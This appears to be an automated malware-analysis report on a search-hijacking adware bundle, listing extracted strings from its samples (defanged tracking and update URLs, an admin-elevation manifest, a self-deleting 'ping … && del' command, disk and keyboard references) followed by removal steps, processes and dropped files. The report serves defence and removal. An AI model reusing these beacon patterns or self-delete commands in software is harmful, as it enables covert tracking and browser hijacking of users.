WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

6!676$717

,050'101

7"7&7*7.72767:7

1!1%1)1-11151

00S0d0

5 5$5(5,505

? ?<?@?`?

3 3@3`3|3

combase.dll

kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

advapi32.dll

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1953

Windows SysTool.exe

ProtectService.exe_4264:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.2105

HPNotify.exe_4144:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

Vot.VotF%qt

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

nsyDB72.tmp:1928
aints.exe:4416
aints.exe:1056
YTAHelper.exe:3720
smt_istartsurf.exe:2996
ShopperPro.exe:1780
ProtectWindowsManager.exe:4176
ProtectWindowsManager.exe:3944
cmdshell.exe:4308
YouTubeAcceleratorService.exe:3352
YouTubeAcceleratorService.exe:3888
YouTubeAcceleratorService.exe:2588
ProtectService.exe:2232
ProtectService.exe:4264
XTab_Setup2121.exe:2676
jsdrv.exe:3080
wpm_v20.0.0.1953_0302.exe:3844
biclient.exe:1708
biclient.exe:2772
GLJF1D.tmp:3840
Tfjrhcyiqi.exe:3960
WebProtectPD.exe:4152
WebProtectPD.exe:2500
ins_yta.exe:3824
QQBrowser.exe:2888
QQBrowser.exe:4332
testlsp.exe:4188
setup.exe:3452
HPNotify.exe:4144
Txhzzaikvhn.exe:4036
WerFault.exe:3956
WerFault.exe:1900
WebProtectorPlus.exe:3416
WebProtectorPlus.exe:3220
uinst.exe:1744
uinst.exe:908
ein.exe:688
ein.exe:4528
powershell.exe:3928
powershell.exe:5060
powershell.exe:5016
ins_shopperpro.exe:1056
nsoB3C6.tmp:2456
regsvr32.exe:4044
regsvr32.exe:2988
regsvr32.exe:3364
regsvr32.exe:3116
regsvr32.exe:3936
regsvr32.exe:3412
lspinst.exe:1600
lspinst.exe:3212
YTAHEL~1.EXE:4024
83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe:4492
3513.tmp:3180
DCytaiesmt_smtyc_setup.exe:3784
DCytaiesmt_smtyc_setup.exe:3496
DCytaiesmt_smtyc_setup.exe:3468
DCytaiesmt_smtyc_setup.exe:3180
DCytaiesmt_smtyc_setup.exe:3404
DCytaiesmt_smtyc_setup.exe:2352
spbiu.exe:3624
spbiu.exe:588
wscript.exe:5068
INS_SENSE.EXE:3208
GLBECE.tmp:3832
7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe:4480
taskeng.exe:2528
ytaiesmt_smtyc_setup.exe:3388
%original file name%.exe:2364
INS_IWEBAR.EXE:4044
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\uinst.exe (18174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnE58F.tmp (24004 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\LiveUpdateWPP_is[1].exe (16384 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyC820.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
%Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
%Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
%Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstC800.tmp (12336 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyC820.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE86C.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE86C.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnE84C.tmp (12336 bytes)
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe (9573 bytes)
C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\474.db (224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\images\bg.png (5064 bytes)
